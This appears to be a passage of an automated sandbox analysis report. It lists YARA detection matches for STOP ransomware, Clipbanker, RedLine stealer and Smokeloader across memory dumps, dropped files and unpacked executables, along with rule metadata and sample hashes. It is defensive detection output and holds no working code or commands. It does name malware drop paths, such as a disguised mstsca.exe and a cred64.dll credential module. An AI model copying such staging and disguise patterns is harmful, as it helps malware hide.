Source: 00000028.00000002.618179009.00000000009B1000.00000020.00000001.01000000.0000001A.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 0000001E.00000002.477600932.0000000000BDA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 0000001E.00000002.477600932.0000000000BDA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 00000007.00000002.460214856.0000000000838000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 0000001B.00000002.493740298.00000000024C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000004.00000002.445573902.0000000000700000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 0000001E.00000002.477942290.0000000001001000.00000020.00000001.01000000.00000016.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 0000001E.00000002.477942290.0000000001001000.00000020.00000001.01000000.00000016.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 00000004.00000002.445509996.00000000006F0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000005.00000002.442867169.0000000002690000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000028.00000000.480111248.00000000009B1000.00000020.00000001.01000000.0000001A.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 00000028.00000000.480111248.00000000009B1000.00000020.00000001.01000000.0000001A.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 00000004.00000002.446406704.00000000022D1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 0000000D.00000002.450548636.0000000002490000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000010.00000002.617846506.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 00000010.00000002.617846506.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 0000001C.00000002.491035809.0000000002460000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 0000001D.00000002.489556428.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 0000001D.00000002.489556428.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000022.00000002.483526399.0000000002410000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 0000001B.00000002.490286812.0000000002380000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000018.00000002.478487593.00000000008C8000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000019.00000002.474131384.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000000.00000002.380107918.00000000023F0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000006.00000002.449975040.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 00000006.00000002.449975040.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 0000000D.00000002.450667818.0000000002530000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000005.00000002.442702951.00000000024A5000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000013.00000002.617779609.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 00000013.00000002.617779609.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000022.00000002.482578416.0000000000887000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 0000001A.00000002.488867120.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 0000001A.00000002.488867120.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: D804.exe PID: 2560, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: D804.exe PID: 772, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: D804.exe PID: 1340, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: D804.exe PID: 6088, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: D804.exe PID: 128, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: D804.exe PID: 4528, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: B46F.exe PID: 4928, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: B46F.exe PID: 2576, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: A170.exe PID: 1868, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: D804.exe PID: 1264, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WJ8I2OL4\build3[1].exe, type: DROPPED	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WJ8I2OL4\build3[1].exe, type: DROPPED	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe, type: DROPPED	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe, type: DROPPED	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: C:\Users\user\AppData\Local\0e111cbe-1163-4b86-ad03-032e194ee525\build3.exe, type: DROPPED	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: C:\Users\user\AppData\Local\0e111cbe-1163-4b86-ad03-032e194ee525\build3.exe, type: DROPPED	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: C:\Users\user\AppData\Roaming\07c6bc37dc5087\cred64.dll, type: DROPPED	Matched rule: OlympicDestroyer Payload Author: kevoreilly
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WJ8I2OL4\cred64[1].dll, type: DROPPED	Matched rule: OlympicDestroyer Payload Author: kevoreilly
Source: C:\Users\user\AppData\Local\Temp\9F31.exe, type: DROPPED	Matched rule: Detects downloader / injector Author: ditekSHen
Source: C:\Users\user\AppData\Local\Temp\5DA0.exe, type: DROPPED	Matched rule: Detects downloader / injector Author: ditekSHen
Source: C:\Users\user\AppData\Local\Temp\3C54.exe, type: DROPPED	Matched rule: Detects downloader / injector Author: ditekSHen
Source: C:\Users\user\AppData\Local\Temp\6FA9.exe, type: DROPPED	Matched rule: Detects downloader / injector Author: ditekSHen

Source: C:\Windows\explorer.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 508 -p 68 -ip 68

Source: C:\Users\user\Desktop\01860199.exe	Code function: 0_2_004118DE	0_2_004118DE
Source: C:\Users\user\Desktop\01860199.exe	Code function: 0_2_0040A4AA	0_2_0040A4AA
Source: C:\Users\user\Desktop\01860199.exe	Code function: 0_2_0040C9B3	0_2_0040C9B3
Source: C:\Users\user\Desktop\01860199.exe	Code function: 0_2_00411E22	0_2_00411E22
Source: C:\Users\user\Desktop\01860199.exe	Code function: 0_2_004132E1	0_2_004132E1
Source: C:\Users\user\Desktop\01860199.exe	Code function: 0_2_0041139A	0_2_0041139A
Source: C:\Users\user\AppData\Roaming\hwgujdv	Code function: 4_2_004118DE	4_2_004118DE
Source: C:\Users\user\AppData\Roaming\hwgujdv	Code function: 4_2_0040A4AA	4_2_0040A4AA
Source: C:\Users\user\AppData\Roaming\hwgujdv	Code function: 4_2_0040C9B3	4_2_0040C9B3
Source: C:\Users\user\AppData\Roaming\hwgujdv	Code function: 4_2_00411E22	4_2_00411E22
Source: C:\Users\user\AppData\Roaming\hwgujdv	Code function: 4_2_004132E1	4_2_004132E1
Source: C:\Users\user\AppData\Roaming\hwgujdv	Code function: 4_2_0041139A	4_2_0041139A
Source: C:\Users\user\AppData\Local\Temp\D804.exe	Code function: 5_2_004118DE	5_2_004118DE
Source: C:\Users\user\AppData\Local\Temp\D804.exe	Code function: 5_2_0040A4AA	5_2_0040A4AA
Source: C:\Users\user\AppData\Local\Temp\D804.exe	Code function: 5_2_0041251A	5_2_0041251A
Source: C:\Users\user\AppData\Local\Temp\D804.exe	Code function: 5_2_0040C9B3	5_2_0040C9B3
Source: C:\Users\user\AppData\Local\Temp\D804.exe	Code function: 5_2_004132E1	5_2_004132E1
Source: C:\Users\user\AppData\Local\Temp\D804.exe	Code function: 5_2_0041139A	5_2_0041139A

Source: XandETC.exe.20.dr

Static PE information: Number of sections : 11 > 10

Source: 01860199.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 30.0.build3.exe.1000000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 30.0.build3.exe.1000000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 29.2.A170.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth (Nextron Systems), description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 29.2.A170.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 29.2.A170.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 5.2.D804.exe.26915a0.1.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth (Nextron Systems), description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 5.2.D804.exe.26915a0.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 5.2.D804.exe.26915a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 16.2.D804.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth (Nextron Systems), description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 16.2.D804.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 16.2.D804.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 26.2.B46F.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth (Nextron Systems), description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 26.2.B46F.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 26.2.B46F.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 34.2.913F.exe.24115a0.1.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth (Nextron Systems), description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 34.2.913F.exe.24115a0.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 34.2.913F.exe.24115a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 29.2.A170.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth (Nextron Systems), description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 29.2.A170.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 29.2.A170.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 27.2.A170.exe.24c15a0.1.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth (Nextron Systems), description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 27.2.A170.exe.24c15a0.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 27.2.A170.exe.24c15a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 25.2.B46F.exe.24d15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth (Nextron Systems), description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 25.2.B46F.exe.24d15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 25.2.B46F.exe.24d15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 40.2.mstsca.exe.9b0000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 40.2.mstsca.exe.9b0000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 37.2.913F.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth (Nextron Systems), description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 37.2.913F.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 37.2.913F.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 18.2.D804.exe.24d15a0.1.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth (Nextron Systems), description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 18.2.D804.exe.24d15a0.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 18.2.D804.exe.24d15a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 13.2.D804.exe.25315a0.1.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth (Nextron Systems), description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 13.2.D804.exe.25315a0.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 13.2.D804.exe.25315a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 31.2.D804.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth (Nextron Systems), description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 31.2.D804.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 31.2.D804.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 31.2.D804.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth (Nextron Systems), description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 31.2.D804.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 31.2.D804.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 25.2.B46F.exe.24d15a0.1.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth (Nextron Systems), description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 25.2.B46F.exe.24d15a0.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 25.2.B46F.exe.24d15a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 5.2.D804.exe.26915a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth (Nextron Systems), description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 5.2.D804.exe.26915a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 5.2.D804.exe.26915a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 30.2.build3.exe.1000000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
